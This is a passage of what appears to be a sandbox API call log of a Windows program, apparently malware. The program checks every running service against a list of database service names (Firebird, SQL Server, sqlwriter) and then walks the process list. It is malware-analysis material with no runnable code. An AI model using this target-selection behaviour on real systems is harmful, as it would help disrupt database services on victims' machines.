(lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0281.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0281.120] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0281.120] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0281.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0281.120] lstrlenW (lpString="CDPSvc") returned 6 [0281.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0281.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0281.120] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0281.120] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0281.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0281.120] lstrlenW (lpString="ClickToRunSvc") returned 13 [0281.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0281.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0281.120] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0281.120] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0281.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0281.120] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0281.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0281.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0281.120] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0281.120] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0281.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0281.120] lstrlenW (lpString="CryptSvc") returned 8 [0281.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0281.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0281.120] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0281.120] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0281.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0281.121] lstrlenW (lpString="DcomLaunch") returned 10 [0281.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0281.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0281.121] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0281.121] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0281.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0281.121] lstrlenW (lpString="DeviceAssociationService") returned 24 [0281.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0281.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0281.121] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0281.121] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0281.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0281.121] lstrlenW (lpString="Dhcp") returned 4 [0281.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0281.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0281.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0281.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0281.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0281.121] lstrlenW (lpString="Dnscache") returned 8 [0281.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0281.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0281.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0281.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0281.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0281.121] lstrlenW (lpString="DPS") returned 3 [0281.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0281.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0281.121] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0281.121] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0281.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0281.121] lstrlenW (lpString="DusmSvc") returned 7 [0281.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0281.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0281.122] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0281.122] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0281.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0281.122] lstrlenW (lpString="EventLog") returned 8 [0281.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0281.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0281.122] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0281.122] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0281.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0281.122] lstrlenW (lpString="EventSystem") returned 11 [0281.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0281.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0281.122] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0281.122] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0281.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0281.122] lstrlenW (lpString="FontCache") returned 9 [0281.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0281.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0281.122] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0281.122] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0281.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0281.122] lstrlenW (lpString="gpsvc") returned 5 [0281.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0281.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0281.122] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0281.122] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0281.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0281.122] lstrlenW (lpString="iphlpsvc") returned 8 [0281.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0281.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0281.122] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0281.122] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0281.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0281.122] lstrlenW (lpString="KeyIso") returned 6 [0281.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0281.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0281.123] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0281.123] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0281.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0281.123] lstrlenW (lpString="LanmanServer") returned 12 [0281.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0281.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0281.123] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0281.123] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0281.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0281.123] lstrlenW (lpString="LanmanWorkstation") returned 17 [0281.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0281.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0281.123] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0281.123] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0281.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0281.123] lstrlenW (lpString="lfsvc") returned 5 [0281.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0281.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0281.123] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0281.123] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0281.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0281.123] lstrlenW (lpString="lmhosts") returned 7 [0281.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0281.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0281.123] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0281.123] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0281.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0281.123] lstrlenW (lpString="LSM") returned 3 [0281.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0281.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0281.123] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0281.124] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0281.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0281.124] lstrlenW (lpString="MpsSvc") returned 6 [0281.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0281.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0281.124] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0281.124] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0281.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0281.124] lstrlenW (lpString="NcbService") returned 10 [0281.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0281.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0281.124] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0281.124] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0281.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0281.124] lstrlenW (lpString="netprofm") returned 8 [0281.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0281.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0281.124] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0281.124] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0281.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0281.124] lstrlenW (lpString="NgcSvc") returned 6 [0281.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0281.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0281.124] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0281.124] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0281.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0281.124] lstrlenW (lpString="NlaSvc") returned 6 [0281.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0281.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0281.124] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0281.124] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0281.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0281.124] lstrlenW (lpString="nsi") returned 3 [0281.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0281.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0281.125] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0281.125] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0281.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0281.125] lstrlenW (lpString="PcaSvc") returned 6 [0281.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0281.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0281.125] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0281.125] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0281.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0281.125] lstrlenW (lpString="PlugPlay") returned 8 [0281.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0281.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0281.125] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0281.125] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0281.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0281.125] lstrlenW (lpString="Power") returned 5 [0281.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0281.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0281.125] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0281.125] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0281.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0281.125] lstrlenW (lpString="ProfSvc") returned 7 [0281.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0281.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0281.125] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0281.125] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0281.125] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0281.125] lstrlenW (lpString="RpcEptMapper") returned 12 [0281.125] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0281.125] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0281.125] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0281.125] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0281.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0281.126] lstrlenW (lpString="RpcSs") returned 5 [0281.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0281.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0281.126] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0281.126] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0281.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0281.126] lstrlenW (lpString="SamSs") returned 5 [0281.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0281.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0281.126] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0281.126] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0281.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0281.126] lstrlenW (lpString="Schedule") returned 8 [0281.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0281.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0281.126] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0281.126] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0281.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0281.126] lstrlenW (lpString="SecurityHealthService") returned 21 [0281.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0281.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0281.126] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0281.126] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0281.126] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0281.126] lstrlenW (lpString="SENS") returned 4 [0281.126] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0281.126] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0281.126] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0281.127] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0281.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0281.127] lstrlenW (lpString="ShellHWDetection") returned 16 [0281.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0281.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0281.127] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0281.127] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0281.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0281.127] lstrlenW (lpString="Spooler") returned 7 [0281.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0281.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0281.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0281.127] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0281.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0281.127] lstrlenW (lpString="SSDPSRV") returned 7 [0281.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0281.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0281.127] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0281.127] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0281.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0281.127] lstrlenW (lpString="StateRepository") returned 15 [0281.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0281.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0281.127] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0281.127] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0281.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0281.128] lstrlenW (lpString="SysMain") returned 7 [0281.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0281.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0281.128] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0281.128] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0281.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0281.128] lstrlenW (lpString="SystemEventsBroker") returned 18 [0281.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0281.128] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0281.128] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0281.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0281.128] lstrlenW (lpString="Themes") returned 6 [0281.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0281.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0281.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0281.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0281.128] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x7d5978 | out: hHeap=0x6e0000) returned 1 [0281.128] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4a4 [0281.443] Process32FirstW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.444] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x95, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.444] lstrlenW (lpString="System") returned 6 [0281.445] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.445] lstrlenW (lpString="smss.exe") returned 8 [0281.445] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.446] lstrlenW (lpString="csrss.exe") returned 9 [0281.446] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.446] lstrlenW (lpString="wininit.exe") returned 11 [0281.447] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.447] lstrlenW (lpString="csrss.exe") returned 9 [0281.447] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.448] lstrlenW (lpString="winlogon.exe") returned 12 [0281.448] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.448] lstrlenW (lpString="services.exe") returned 12 [0281.449] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.449] lstrlenW (lpString="lsass.exe") returned 9 [0281.449] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.450] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.450] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0281.451] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0281.451] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.451] lstrlenW (lpString="svchost.exe") returned 11 [0281.451] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.452] lstrlenW (lpString="svchost.exe") returned 11 [0281.452] Process32NextW (in: hSnapshot=0x4a4, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 